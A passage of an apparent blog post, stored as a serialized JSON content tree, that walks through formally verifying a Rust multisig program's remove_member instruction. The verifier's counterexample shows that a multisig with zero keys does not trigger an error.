"props":25421,"children":25422},{"style":598},[25423],{"type":28,"value":8572},{"type":23,"tag":504,"props":25425,"children":25426},{"style":523},[25427],{"type":28,"value":1652},{"type":23,"tag":24,"props":25429,"children":25430},{},[25431,25433,25438],{"type":28,"value":25432},"And for now let's remove the invariant on the ",{"type":23,"tag":56,"props":25434,"children":25436},{"className":25435},[],[25437],{"type":28,"value":21723},{"type":28,"value":25439}," account:",{"type":23,"tag":494,"props":25441,"children":25443},{"code":25442,"language":1956,"meta":7,"className":1957,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[25444],{"type":23,"tag":56,"props":25445,"children":25446},{"__ignoreMap":7},[25447,25455],{"type":23,"tag":504,"props":25448,"children":25449},{"class":506,"line":507},[25450],{"type":23,"tag":504,"props":25451,"children":25452},{"style":523},[25453],{"type":28,"value":25454},"#[invariant()]\n",{"type":23,"tag":504,"props":25456,"children":25457},{"class":506,"line":540},[25458,25462,25466,25470,25474,25478],{"type":23,"tag":504,"props":25459,"children":25460},{"style":511},[25461],{"type":28,"value":12671},{"type":23,"tag":504,"props":25463,"children":25464},{"style":511},[25465],{"type":28,"value":20132},{"type":23,"tag":504,"props":25467,"children":25468},{"style":1012},[25469],{"type":28,"value":20137},{"type":23,"tag":504,"props":25471,"children":25472},{"style":523},[25473],{"type":28,"value":747},{"type":23,"tag":504,"props":25475,"children":25476},{"style":598},[25477],{"type":28,"value":8572},{"type":23,"tag":504,"props":25479,"children":25480},{"style":523},[25481],{"type":28,"value":1652},{"type":23,"tag":24,"props":25483,"children":25484},{},[25485],{"type":28,"value":25486},"Let's test this!",{"type":23,"tag":24,"props":25488,"children":25489},{},[25490,25492,25497],{"type":28,"value":25491},"Our ",{"type":23,"tag":56,"props":25493,"children":25495},{"className":25494},[],[25496],{"type":28,"value":19136},{"type":28,"value":25498}," harness produces:",{"type":23,"tag":494,"props":25500,"children":25502},{"code":25501},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[25503],{"type":23,"tag":56,"props":25504,"children":25505},{"__ignoreMap":7},[25506],{"type":28,"value":25501},{"type":23,"tag":24,"props":25508,"children":25509},{},[25510],{"type":28,"value":25511},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":25513,"children":25514},{},[25515,25517,25522],{"type":28,"value":25516},"However, remember that since ",{"type":23,"tag":56,"props":25518,"children":25520},{"className":25519},[],[25521],{"type":28,"value":19136},{"type":28,"value":25523}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":25525,"children":25526},{},[25527,25529,25534,25536,25541,25543,25548],{"type":28,"value":25528},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":1887,"props":25530,"children":25531},{},[25532],{"type":28,"value":25533},"only condition",{"type":28,"value":25535}," in which the function will succeed (i.e. ",{"type":23,"tag":1887,"props":25537,"children":25538},{},[25539],{"type":28,"value":25540},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":25542},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":56,"props":25544,"children":25546},{"className":25545},[],[25547],{"type":28,"value":19143},{"type":28,"value":25549}," macro such as:",{"type":23,"tag":494,"props":25551,"children":25553},{"code":25552,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[25554],{"type":23,"tag":56,"props":25555,"children":25556},{"__ignoreMap":7},[25557,25564,25611,25618,25625,25672,25679],{"type":23,"tag":504,"props":25558,"children":25559},{"class":506,"line":507},[25560],{"type":23,"tag":504,"props":25561,"children":25562},{"style":523},[25563],{"type":28,"value":23091},{"type":23,"tag":504,"props":25565,"children":25566},{"class":506,"line":540},[25567,25571,25575,25579,25583,25587,25591,25595,25599,25603,25607],{"type":23,"tag":504,"props":25568,"children":25569},{"style":523},[25570],{"type":28,"value":19205},{"type":23,"tag":504,"props":25572,"children":25573},{"style":598},[25574],{"type":28,"value":320},{"type":23,"tag":504,"props":25576,"children":25577},{"style":523},[25578],{"type":28,"value":13656},{"type":23,"tag":504,"props":25580,"children":25581},{"style":598},[25582],{"type":28,"value":320},{"type":23,"tag":504,"props":25584,"children":25585},{"style":523},[25586],{"type":28,"value":22784},{"type":23,"tag":504,"props":25588,"children":25589},{"style":598},[25590],{"type":28,"value":320},{"type":23,"tag":504,"props":25592,"children":25593},{"style":523},[25594],{"type":28,"value":19964},{"type":23,"tag":504,"props":25596,"children":25597},{"style":598},[25598],{"type":28,"value":320},{"type":23,"tag":504,"props":25600,"children":25601},{"style":523},[25602],{"type":28,"value":20002},{"type":23,"tag":504,"props":25604,"children":25605},{"style":598},[25606],{"type":28,"value":9443},{"type":23,"tag":504,"props":25608,"children":25609},{"style":523},[25610],{"type":28,"value":18424},{"type":23,"tag":504,"props":25612,"children":25613},{"class":506,"line":555},[25614],{"type":23,"tag":504,"props":25615,"children":25616},{"style":523},[25617],{"type":28,"value":19240},{"type":23,"tag":504,"props":25619,"children":25620},{"class":506,"line":633},[25621],{"type":23,"tag":504,"props":25622,"children":25623},{"style":523},[25624],{"type":28,"value":19197},{"type":23,"tag":504,"props":25626,"children":25627},{"class":506,"line":687},[25628,25632,25636,25640,25644,25648,25652,25656,25660,25664,25668],{"type":23,"tag":504,"props":25629,"children":25630},{"style":523},[25631],{"type":28,"value":19205},{"type":23,"tag":504,"props":25633,"children":25634},{"style":598},[25635],{"type":28,"value":320},{"type":23,"tag":504,"props":25637,"children":25638},{"style":523},[25639],{"type":28,"value":13656},{"type":23,"tag":504,"props":25641,"children":25642},{"style":598},[25643],{"type":28,"value":320},{"type":23,"tag":504,"props":25645,"children":25646},{"style":523},[25647],{"type":28,"value":22784},{"type":23,"tag":504,"props":25649,"children":25650},{"style":598},[25651],{"type":28,"value":320},{"type":23,"tag":504,"props":25653,"children":25654},{"style":523},[25655],{"type":28,"value":19964},{"type":23,"tag":504,"props":25657,"children":25658},{"style":598},[25659],{"type":28,"value":320},{"type":23,"tag":504,"props":25661,"children":25662},{"style":523},[25663],{"type":28,"value":20002},{"type":23,"tag":504,"props":25665,"children":25666},{"style":598},[25667],{"type":28,"value":18396},{"type":23,"tag":504,"props":25669,"children":25670},{"style":523},[25671],{"type":28,"value":18424},{"type":23,"tag":504,"props":25673,"children":25674},{"class":506,"line":736},[25675],{"type":23,"tag":504,"props":25676,"children":25677},{"style":523},[25678],{"type":28,"value":19240},{"type":23,"tag":504,"props":25680,"children":25681},{"class":506,"line":785},[25682,25686,25690,25694,25698,25702,25706],{"type":23,"tag":504,"props":25683,"children":25684},{"style":511},[25685],{"type":28,"value":19248},{"type":23,"tag":504,"props":25687,"children":25688},{"style":517},[25689],{"type":28,"value":24745},{"type":23,"tag":504,"props":25691,"children":25692},{"style":523},[25693],{"type":28,"value":526},{"type":23,"tag":504,"props":25695,"children":25696},{"style":598},[25697],{"type":28,"value":8572},{"type":23,"tag":504,"props":25699,"children":25700},{"style":523},[25701],{"type":28,"value":22968},{"type":23,"tag":504,"props":25703,"children":25704},{"style":598},[25705],{"type":28,"value":8572},{"type":23,"tag":504,"props":25707,"children":25708},{"style":523},[25709],{"type":28,"value":1652},{"type":23,"tag":24,"props":25711,"children":25712},{},[25713,25715,25720],{"type":28,"value":25714},"Let's test this, we just need to run the new ",{"type":23,"tag":56,"props":25716,"children":25718},{"className":25717},[],[25719],{"type":28,"value":19143},{"type":28,"value":25721}," harness:",{"type":23,"tag":494,"props":25723,"children":25725},{"code":25724},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[25726],{"type":23,"tag":56,"props":25727,"children":25728},{"__ignoreMap":7},[25729],{"type":28,"value":25724},{"type":23,"tag":24,"props":25731,"children":25732},{},[25733],{"type":28,"value":25734},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":494,"props":25736,"children":25738},{"code":25737,"language":1956,"meta":7,"className":1957,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[25739],{"type":23,"tag":56,"props":25740,"children":25741},{"__ignoreMap":7},[25742,25753,25772,25791,25810,25829,25848,25867,25886,25905,25924,25944,25963,25970,25977,26004],{"type":23,"tag":504,"props":25743,"children":25744},{"class":506,"line":507},[25745,25749],{"type":23,"tag":504,"props":25746,"children":25747},{"style":1012},[25748],{"type":28,"value":16125},{"type":23,"tag":504,"props":25750,"children":25751},{"style":523},[25752],{"type":28,"value":552},{"type":23,"tag":504,"props":25754,"children":25755},{"class":506,"line":540},[25756,25760,25764,25768],{"type":23,"tag":504,"props":25757,"children":25758},{"style":529},[25759],{"type":28,"value":24151},{"type":23,"tag":504,"props":25761,"children":25762},{"style":598},[25763],{"type":28,"value":3472},{"type":23,"tag":504,"props":25765,"children":25766},{"style":1012},[25767],{"type":28,"value":20137},{"type":23,"tag":504,"props":25769,"children":25770},{"style":523},[25771],{"type":28,"value":552},{"type":23,"tag":504,"props":25773,"children":25774},{"class":506,"line":555},[25775,25779,25783,25787],{"type":23,"tag":504,"props":25776,"children":25777},{"style":529},[25778],{"type":28,"value":22805},{"type":23,"tag":504,"props":25780,"children":25781},{"style":598},[25782],{"type":28,"value":3472},{"type":23,"tag":504,"props":25784,"children":25785},{"style":1440},[25786],{"type":28,"value":2023},{"type":23,"tag":504,"props":25788,"children":25789},{"style":523},[25790],{"type":28,"value":2484},{"type":23,"tag":504,"props":25792,"children":25793},{"class":506,"line":633},[25794,25798,25802,25806],{"type":23,"tag":504,"props":25795,"children":25796},{"style":529},[25797],{"type":28,"value":24191},{"type":23,"tag":504,"props":25799,"children":25800},{"style":598},[25801],{"type":28,"value":3472},{"type":23,"tag":504,"props":25803,"children":25804},{"style":1440},[25805],{"type":28,"value":2023},{"type":23,"tag":504,"props":25807,"children":25808},{"style":523},[25809],{"type":28,"value":2484},{"type":23,"tag":504,"props":25811,"children":25812},{"class":506,"line":687},[25813,25817,25821,25825],{"type":23,"tag":504,"props":25814,"children":25815},{"style":529},[25816],{"type":28,"value":24211},{"type":23,"tag":504,"props":25818,"children":25819},{"style":598},[25820],{"type":28,"value":3472},{"type":23,"tag":504,"props":25822,"children":25823},{"style":1440},[25824],{"type":28,"value":2023},{"type":23,"tag":504,"props":25826,"children":25827},{"style":523},[25828],{"type":28,"value":2484},{"type":23,"tag":504,"props":25830,"children":25831},{"class":506,"line":736},[25832,25836,25840,25844],{"type":23,"tag":504,"props":25833,"children":25834},{"style":529},[25835],{"type":28,"value":24231},{"type":23,"tag":504,"props":25837,"children":25838},{"style":598},[25839],{"type":28,"value":3472},{"type":23,"tag":504,"props":25841,"children":25842},{"style":1440},[25843],{"type":28,"value":2023},{"type":23,"tag":504,"props":25845,"children":25846},{"style":523},[25847],{"type":28,"value":2484},{"type":23,"tag":504,"props":25849,"children":25850},{"class":506,"line":785},[25851,25855,25859,25863],{"type":23,"tag":504,"props":25852,"children":25853},{"style":529},[25854],{"type":28,"value":24251},{"type":23,"tag":504,"props":25856,"children":25857},{"style":598},[25858],{"type":28,"value":3472},{"type":23,"tag":504,"props":25860,"children":25861},{"style":1440},[25862],{"type":28,"value":2023},{"type":23,"tag":504,"props":25864,"children":25865},{"style":523},[25866],{"type":28,"value":2484},{"type":23,"tag":504,"props":25868,"children":25869},{"class":506,"line":813},[25870,25874,25878,25882],{"type":23,"tag":504,"props":25871,"children":25872},{"style":529},[25873],{"type":28,"value":22818},{"type":23,"tag":504,"props":25875,"children":25876},{"style":598},[25877],{"type":28,"value":3472},{"type":23,"tag":504,"props":25879,"children":25880},{"style":598},[25881],{"type":28,"value":24279},{"type":23,"tag":504,"props":25883,"children":25884},{"style":523},[25885],{"type":28,"value":2484},{"type":23,"tag":504,"props":25887,"children":25888},{"class":506,"line":851},[25889,25893,25897,25901],{"type":23,"tag":504,"props":25890,"children":25891},{"style":529},[25892],{"type":28,"value":24291},{"type":23,"tag":504,"props":25894,"children":25895},{"style":598},[25896],{"type":28,"value":3472},{"type":23,"tag":504,"props":25898,"children":25899},{"style":511},[25900],{"type":28,"value":8041},{"type":23,"tag":504,"props":25902,"children":25903},{"style":523},[25904],{"type":28,"value":2484},{"type":23,"tag":504,"props":25906,"children":25907},{"class":506,"line":869},[25908,25912,25916,25920],{"type":23,"tag":504,"props":25909,"children":25910},{"style":529},[25911],{"type":28,"value":24311},{"type":23,"tag":504,"props":25913,"children":25914},{"style":598},[25915],{"type":28,"value":3472},{"type":23,"tag":504,"props":25917,"children":25918},{"style":1012},[25919],{"type":28,"value":20370},{"type":23,"tag":504,"props":25921,"children":25922},{"style":523},[25923],{"type":28,"value":552},{"type":23,"tag":504,"props":25925,"children":25926},{"class":506,"line":878},[25927,25932,25936,25940],{"type":23,"tag":504,"props":25928,"children":25929},{"style":529},[25930],{"type":28,"value":25931},"            data",{"type":23,"tag":504,"props":25933,"children":25934},{"style":598},[25935],{"type":28,"value":3472},{"type":23,"tag":504,"props":25937,"children":25938},{"style":598},[25939],{"type":28,"value":24279},{"type":23,"tag":504,"props":25941,"children":25942},{"style":523},[25943],{"type":28,"value":2484},{"type":23,"tag":504,"props":25945,"children":25946},{"class":506,"line":1221},[25947,25951,25955,25959],{"type":23,"tag":504,"props":25948,"children":25949},{"style":529},[25950],{"type":28,"value":24332},{"type":23,"tag":504,"props":25952,"children":25953},{"style":598},[25954],{"type":28,"value":3472},{"type":23,"tag":504,"props":25956,"children":25957},{"style":1440},[25958],{"type":28,"value":2023},{"type":23,"tag":504,"props":25960,"children":25961},{"style":523},[25962],{"type":28,"value":2484},{"type":23,"tag":504,"props":25964,"children":25965},{"class":506,"line":1276},[25966],{"type":23,"tag":504,"props":25967,"children":25968},{"style":523},[25969],{"type":28,"value":24353},{"type":23,"tag":504,"props":25971,"children":25972},{"class":506,"line":1285},[25973],{"type":23,"tag":504,"props":25974,"children":25975},{"style":523},[25976],{"type":28,"value":24361},{"type":23,"tag":504,"props":25978,"children":25979},{"class":506,"line":1294},[25980,25984,25988,25992,25996,26000],{"type":23,"tag":504,"props":25981,"children":25982},{"style":529},[25983],{"type":28,"value":24369},{"type":23,"tag":504,"props":25985,"children":25986},{"style":598},[25987],{"type":28,"value":3472},{"type":23,"tag":504,"props":25989,"children":25990},{"style":1012},[25991],{"type":28,"value":24378},{"type":23,"tag":504,"props":25993,"children":25994},{"style":523},[25995],{"type":28,"value":747},{"type":23,"tag":504,"props":25997,"children":25998},{"style":598},[25999],{"type":28,"value":8572},{"type":23,"tag":504,"props":26001,"children":26002},{"style":523},[26003],{"type":28,"value":24391},{"type":23,"tag":504,"props":26005,"children":26006},{"class":506,"line":1302},[26007],{"type":23,"tag":504,"props":26008,"children":26009},{"style":523},[26010],{"type":28,"value":884},{"type":23,"tag":24,"props":26012,"children":26013},{},[26014],{"type":28,"value":26015},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":26017,"children":26018},{},[26019,26021,26027],{"type":28,"value":26020},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":56,"props":26022,"children":26024},{"className":26023},[],[26025],{"type":28,"value":26026},"Ms::remove_member",{"type":28,"value":3472},{"type":23,"tag":494,"props":26029,"children":26031},{"code":26030,"language":1956,"meta":7,"className":1957,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[26032],{"type":23,"tag":56,"props":26033,"children":26034},{"__ignoreMap":7},[26035,26094,26125,26132],{"type":23,"tag":504,"props":26036,"children":26037},{"class":506,"line":507},[26038,26042,26046,26050,26054,26058,26062,26066,26070,26074,26078,26082,26086,26090],{"type":23,"tag":504,"props":26039,"children":26040},{"style":544},[26041],{"type":28,"value":14560},{"type":23,"tag":504,"props":26043,"children":26044},{"style":529},[26045],{"type":28,"value":24823},{"type":23,"tag":504,"props":26047,"children":26048},{"style":598},[26049],{"type":28,"value":320},{"type":23,"tag":504,"props":26051,"children":26052},{"style":523},[26053],{"type":28,"value":13656},{"type":23,"tag":504,"props":26055,"children":26056},{"style":598},[26057],{"type":28,"value":320},{"type":23,"tag":504,"props":26059,"children":26060},{"style":523},[26061],{"type":28,"value":22784},{"type":23,"tag":504,"props":26063,"children":26064},{"style":598},[26065],{"type":28,"value":320},{"type":23,"tag":504,"props":26067,"children":26068},{"style":523},[26069],{"type":28,"value":19964},{"type":23,"tag":504,"props":26071,"children":26072},{"style":598},[26073],{"type":28,"value":320},{"type":23,"tag":504,"props":26075,"children":26076},{"style":517},[26077],{"type":28,"value":8121},{"type":23,"tag":504,"props":26079,"children":26080},{"style":523},[26081],{"type":28,"value":13024},{"type":23,"tag":504,"props":26083,"children":26084},{"style":598},[26085],{"type":28,"value":7559},{"type":23,"tag":504,"props":26087,"children":26088},{"style":1440},[26089],{"type":28,"value":3504},{"type":23,"tag":504,"props":26091,"children":26092},{"style":523},[26093],{"type":28,"value":552},{"type":23,"tag":504,"props":26095,"children":26096},{"class":506,"line":540},[26097,26101,26105,26109,26113,26117,26121],{"type":23,"tag":504,"props":26098,"children":26099},{"style":544},[26100],{"type":28,"value":15968},{"type":23,"tag":504,"props":26102,"children":26103},{"style":517},[26104],{"type":28,"value":22499},{"type":23,"tag":504,"props":26106,"children":26107},{"style":523},[26108],{"type":28,"value":526},{"type":23,"tag":504,"props":26110,"children":26111},{"style":1012},[26112],{"type":28,"value":22508},{"type":23,"tag":504,"props":26114,"children":26115},{"style":598},[26116],{"type":28,"value":2457},{"type":23,"tag":504,"props":26118,"children":26119},{"style":1012},[26120],{"type":28,"value":24899},{"type":23,"tag":504,"props":26122,"children":26123},{"style":523},[26124],{"type":28,"value":630},{"type":23,"tag":504,"props":26126,"children":26127},{"class":506,"line":555},[26128],{"type":23,"tag":504,"props":26129,"children":26130},{"style":523},[26131],{"type":28,"value":884},{"type":23,"tag":504,"props":26133,"children":26134},{"class":506,"line":633},[26135,26139,26143,26147,26151,26155,26159,26163,26167,26171,26175,26179],{"type":23,"tag":504,"props":26136,"children":26137},{"style":529},[26138],{"type":28,"value":19262},{"type":23,"tag":504,"props":26140,"children":26141},{"style":598},[26142],{"type":28,"value":320},{"type":23,"tag":504,"props":26144,"children":26145},{"style":523},[26146],{"type":28,"value":13656},{"type":23,"tag":504,"props":26148,"children":26149},{"style":598},[26150],{"type":28,"value":320},{"type":23,"tag":504,"props":26152,"children":26153},{"style":523},[26154],{"type":28,"value":22784},{"type":23,"tag":504,"props":26156,"children":26157},{"style":598},[26158],{"type":28,"value":320},{"type":23,"tag":504,"props":26160,"children":26161},{"style":517},[26162],{"type":28,"value":24446},{"type":23,"tag":504,"props":26164,"children":26165},{"style":523},[26166],{"type":28,"value":526},{"type":23,"tag":504,"props":26168,"children":26169},{"style":529},[26170],{"type":28,"value":24779},{"type":23,"tag":504,"props":26172,"children":26173},{"style":523},[26174],{"type":28,"value":2105},{"type":23,"tag":504,"props":26176,"children":26177},{"style":598},[26178],{"type":28,"value":2133},{"type":23,"tag":504,"props":26180,"children":26181},{"style":523},[26182],{"type":28,"value":866},{"type":23,"tag":24,"props":26184,"children":26185},{},[26186,26188,26194,26196,26202],{"type":28,"value":26187},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":56,"props":26189,"children":26191},{"className":26190},[],[26192],{"type":28,"value":26193},"Ms::is_member",{"type":28,"value":26195},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":56,"props":26197,"children":26199},{"className":26198},[],[26200],{"type":28,"value":26201},"Ok(())",{"type":28,"value":320},{"type":23,"tag":494,"props":26204,"children":26206},{"code":26205,"language":1956,"meta":7,"className":1957,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[26207],{"type":23,"tag":56,"props":26208,"children":26209},{"__ignoreMap":7},[26210,26274,26333,26370,26429,26497,26504,26511,26522],{"type":23,"tag":504,"props":26211,"children":26212},{"class":506,"line":507},[26213,26217,26221,26225,26229,26233,26237,26241,26245,26250,26254,26258,26262,26266,26270],{"type":23,"tag":504,"props":26214,"children":26215},{"style":511},[26216],{"type":28,"value":12671},{"type":23,"tag":504,"props":26218,"children":26219},{"style":511},[26220],{"type":28,"value":12676},{"type":23,"tag":504,"props":26222,"children":26223},{"style":517},[26224],{"type":28,"value":24745},{"type":23,"tag":504,"props":26226,"children":26227},{"style":523},[26228],{"type":28,"value":526},{"type":23,"tag":504,"props":26230,"children":26231},{"style":598},[26232],{"type":28,"value":2086},{"type":23,"tag":504,"props":26234,"children":26235},{"style":511},[26236],{"type":28,"value":2701},{"type":23,"tag":504,"props":26238,"children":26239},{"style":511},[26240],{"type":28,"value":12778},{"type":23,"tag":504,"props":26242,"children":26243},{"style":523},[26244],{"type":28,"value":576},{"type":23,"tag":504,"props":26246,"children":26247},{"style":529},[26248],{"type":28,"value":26249},"member",{"type":23,"tag":504,"props":26251,"children":26252},{"style":598},[26253],{"type":28,"value":3472},{"type":23,"tag":504,"props":26255,"children":26256},{"style":1012},[26257],{"type":28,"value":19838},{"type":23,"tag":504,"props":26259,"children":26260},{"style":523},[26261],{"type":28,"value":2064},{"type":23,"tag":504,"props":26263,"children":26264},{"style":598},[26265],{"type":28,"value":12738},{"type":23,"tag":504,"props":26267,"children":26268},{"style":1012},[26269],{"type":28,"value":12743},{"type":23,"tag":504,"props":26271,"children":26272},{"style":523},[26273],{"type":28,"value":19313},{"type":23,"tag":504,"props":26275,"children":26276},{"class":506,"line":540},[26277,26281,26286,26291,26295,26300,26304,26308,26312,26316,26321,26325,26329],{"type":23,"tag":504,"props":26278,"children":26279},{"style":544},[26280],{"type":28,"value":11261},{"type":23,"tag":504,"props":26282,"children":26283},{"style":511},[26284],{"type":28,"value":26285}," let",{"type":23,"tag":504,"props":26287,"children":26288},{"style":1012},[26289],{"type":28,"value":26290}," Some",{"type":23,"tag":504,"props":26292,"children":26293},{"style":523},[26294],{"type":28,"value":526},{"type":23,"tag":504,"props":26296,"children":26297},{"style":529},[26298],{"type":28,"value":26299},"ind",{"type":23,"tag":504,"props":26301,"children":26302},{"style":523},[26303],{"type":28,"value":2064},{"type":23,"tag":504,"props":26305,"children":26306},{"style":598},[26307],{"type":28,"value":601},{"type":23,"tag":504,"props":26309,"children":26310},{"style":511},[26311],{"type":28,"value":12778},{"type":23,"tag":504,"props":26313,"children":26314},{"style":598},[26315],{"type":28,"value":320},{"type":23,"tag":504,"props":26317,"children":26318},{"style":517},[26319],{"type":28,"value":26320},"is_member",{"type":23,"tag":504,"props":26322,"children":26323},{"style":523},[26324],{"type":28,"value":526},{"type":23,"tag":504,"props":26326,"children":26327},{"style":529},[26328],{"type":28,"value":26249},{"type":23,"tag":504,"props":26330,"children":26331},{"style":523},[26332],{"type":28,"value":537},{"type":23,"tag":504,"props":26334,"children":26335},{"class":506,"line":555},[26336,26341,26345,26349,26353,26358,26362,26366],{"type":23,"tag":504,"props":26337,"children":26338},{"style":511},[26339],{"type":28,"value":26340},"        self",{"type":23,"tag":504,"props":26342,"children":26343},{"style":598},[26344],{"type":28,"value":320},{"type":23,"tag":504,"props":26346,"children":26347},{"style":523},[26348],{"type":28,"value":19964},{"type":23,"tag":504,"props":26350,"children":26351},{"style":598},[26352],{"type":28,"value":320},{"type":23,"tag":504,"props":26354,"children":26355},{"style":517},[26356],{"type":28,"value":26357},"remove",{"type":23,"tag":504,"props":26359,"children":26360},{"style":523},[26361],{"type":28,"value":526},{"type":23,"tag":504,"props":26363,"children":26364},{"style":529},[26365],{"type":28,"value":26299},{"type":23,"tag":504,"props":26367,"children":26368},{"style":523},[26369],{"type":28,"value":630},{"type":23,"tag":504,"props":26371,"children":26372},{"class":506,"line":633},[26373,26377,26381,26385,26389,26393,26397,26401,26405,26409,26413,26417,26421,26425],{"type":23,"tag":504,"props":26374,"children":26375},{"style":544},[26376],{"type":28,"value":2250},{"type":23,"tag":504,"props":26378,"children":26379},{"style":511},[26380],{"type":28,"value":12778},{"type":23,"tag":504,"props":26382,"children":26383},{"style":598},[26384],{"type":28,"value":320},{"type":23,"tag":504,"props":26386,"children":26387},{"style":523},[26388],{"type":28,"value":19964},{"type":23,"tag":504,"props":26390,"children":26391},{"style":598},[26392],{"type":28,"value":320},{"type":23,"tag":504,"props":26394,"children":26395},{"style":517},[26396],{"type":28,"value":8121},{"type":23,"tag":504,"props":26398,"children":26399},{"style":523},[26400],{"type":28,"value":25024},{"type":23,"tag":504,"props":26402,"children":26403},{"style":1012},[26404],{"type":28,"value":15580},{"type":23,"tag":504,"props":26406,"children":26407},{"style":598},[26408],{"type":28,"value":2457},{"type":23,"tag":504,"props":26410,"children":26411},{"style":517},[26412],{"type":28,"value":18455},{"type":23,"tag":504,"props":26414,"children":26415},{"style":523},[26416],{"type":28,"value":526},{"type":23,"tag":504,"props":26418,"children":26419},{"style":511},[26420],{"type":28,"value":12694},{"type":23,"tag":504,"props":26422,"children":26423},{"style":598},[26424],{"type":28,"value":320},{"type":23,"tag":504,"props":26426,"children":26427},{"style":523},[26428],{"type":28,"value":25069},{"type":23,"tag":504,"props":26430,"children":26431},{"class":506,"line":687},[26432,26437,26441,26445,26449,26453,26457,26461,26465,26469,26473,26477,26481,26485,26489,26493],{"type":23,"tag":504,"props":26433,"children":26434},{"style":511},[26435],{"type":28,"value":26436},"            self",{"type":23,"tag":504,"props":26438,"children":26439},{"style":598},[26440],{"type":28,"value":320},{"type":23,"tag":504,"props":26442,"children":26443},{"style":523},[26444],{"type":28,"value":20052},{"type":23,"tag":504,"props":26446,"children":26447},{"style":598},[26448],{"type":28,"value":601},{"type":23,"tag":504,"props":26450,"children":26451},{"style":511},[26452],{"type":28,"value":12778},{"type":23,"tag":504,"props":26454,"children":26455},{"style":598},[26456],{"type":28,"value":320},{"type":23,"tag":504,"props":26458,"children":26459},{"style":523},[26460],{"type":28,"value":19964},{"type":23,"tag":504,"props":26462,"children":26463},{"style":598},[26464],{"type":28,"value":320},{"type":23,"tag":504,"props":26466,"children":26467},{"style":517},[26468],{"type":28,"value":8121},{"type":23,"tag":504,"props":26470,"children":26471},{"style":523},[26472],{"type":28,"value":12860},{"type":23,"tag":504,"props":26474,"children":26475},{"style":598},[26476],{"type":28,"value":320},{"type":23,"tag":504,"props":26478,"children":26479},{"style":517},[26480],{"type":28,"value":25142},{"type":23,"tag":504,"props":26482,"children":26483},{"style":523},[26484],{"type":28,"value":12860},{"type":23,"tag":504,"props":26486,"children":26487},{"style":598},[26488],{"type":28,"value":320},{"type":23,"tag":504,"props":26490,"children":26491},{"style":517},[26492],{"type":28,"value":2642},{"type":23,"tag":504,"props":26494,"children":26495},{"style":523},[26496],{"type":28,"value":2647},{"type":23,"tag":504,"props":26498,"children":26499},{"class":506,"line":736},[26500],{"type":23,"tag":504,"props":26501,"children":26502},{"style":523},[26503],{"type":28,"value":1291},{"type":23,"tag":504,"props":26505,"children":26506},{"class":506,"line":785},[26507],{"type":23,"tag":504,"props":26508,"children":26509},{"style":523},[26510],{"type":28,"value":875},{"type":23,"tag":504,"props":26512,"children":26513},{"class":506,"line":813},[26514,26518],{"type":23,"tag":504,"props":26515,"children":26516},{"style":1012},[26517],{"type":28,"value":13314},{"type":23,"tag":504,"props":26519,"children":26520},{"style":523},[26521],{"type":28,"value":13319},{"type":23,"tag":504,"props":26523,"children":26524},{"class":506,"line":851},[26525],{"type":23,"tag":504,"props":26526,"children":26527},{"style":523},[26528],{"type":28,"value":884},{"type":23,"tag":24,"props":26530,"children":26531},{},[26532,26534,26539,26541,26547,26549,26555,26557,26562],{"type":28,"value":26533},"Inside ",{"type":23,"tag":56,"props":26535,"children":26537},{"className":26536},[],[26538],{"type":28,"value":26193},{"type":28,"value":26540},", we see that it performs a ",{"type":23,"tag":56,"props":26542,"children":26544},{"className":26543},[],[26545],{"type":28,"value":26546},"binary_search",{"type":28,"value":26548}," on the keys vec and returns the index or ",{"type":23,"tag":56,"props":26550,"children":26552},{"className":26551},[],[26553],{"type":28,"value":26554},"None",{"type":28,"value":26556},". Since the vec has size zero, this will just return ",{"type":23,"tag":56,"props":26558,"children":26560},{"className":26559},[],[26561],{"type":28,"value":26554},{"type":28,"value":320},{"type":23,"tag":494,"props":26564,"children":26566},{"code":26565,"language":1956,"meta":7,"className":1957,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[26567],{"type":23,"tag":56,"props":26568,"children":26569},{"__ignoreMap":7},[26570,26639,26682,26721,26743,26750],{"type":23,"tag":504,"props":26571,"children":26572},{"class":506,"line":507},[26573,26577,26581,26586,26590,26594,26598,26602,26606,26610,26614,26618,26622,26627,26631,26635],{"type":23,"tag":504,"props":26574,"children":26575},{"style":511},[26576],{"type":28,"value":12671},{"type":23,"tag":504,"props":26578,"children":26579},{"style":511},[26580],{"type":28,"value":12676},{"type":23,"tag":504,"props":26582,"children":26583},{"style":517},[26584],{"type":28,"value":26585}," 